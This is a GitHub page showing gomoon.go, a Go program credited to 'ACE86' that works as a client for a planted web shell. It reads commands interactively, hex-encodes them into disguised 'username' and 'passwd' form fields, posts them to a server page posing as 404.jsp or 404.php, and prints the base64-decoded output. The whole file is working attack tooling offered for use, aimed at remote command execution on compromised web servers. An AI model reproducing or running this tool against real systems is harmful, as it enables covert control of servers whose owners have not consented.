-
Notifications
You must be signed in to change notification settings - Fork 8
/
gomoon.go
78 lines (70 loc) · 1.66 KB
/
gomoon.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main
import (
"bufio"
"encoding/base64"
"encoding/hex"
"flag"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
)
func main() {
var url string
var passwd string
flag.StringVar(&url, "url", "http://127.0.0.1:8082/404.jsp|404.php", "url")
flag.StringVar(&passwd, "passwd", "admin", "password")
flag.Parse()
flag.Usage = usage
flag.Usage()
reader := bufio.NewReader(os.Stdin)
for {
fmt.Print("# ")
cmdString, err := reader.ReadString('\n')
if err != nil {
fmt.Fprintln(os.Stderr, err)
}
commandStr := strings.TrimSuffix(cmdString, "\n")
if commandStr == "exit" {
os.Exit(0)
}
if len(commandStr) > 0 {
err = runCommand(url, passwd, commandStr)
if err != nil {
fmt.Fprintln(os.Stderr, err)
}
}
}
}
func usage() {
fmt.Fprintf(os.Stderr, `
<------------GOMOON------------>
<---------WELCOME TO USE THIS PROGRAM--------->
<---------v1.0 - Author - ACE86 --------->
<---------Usage: cmd -----Send a Command------>
<---------Usage: exit ----- exit ------>
`)
flag.PrintDefaults()
}
func runCommand(url, passwd, commandStr string) error {
var cmdBody = "username=" + hex.EncodeToString([]byte(commandStr)) + "&passwd=" + hex.EncodeToString([]byte(passwd))
Post(url, cmdBody)
return nil
}
func Post(url, data string) string {
response, err := http.Post(url,
"application/x-www-form-urlencoded",
strings.NewReader(data))
if err != nil {
panic(err)
}
defer response.Body.Close()
result, _ := ioutil.ReadAll(response.Body)
hexData, e := base64.URLEncoding.DecodeString(string(result))
if e != nil {
fmt.Println(e)
}
fmt.Print(string(hexData))
return string(result)
}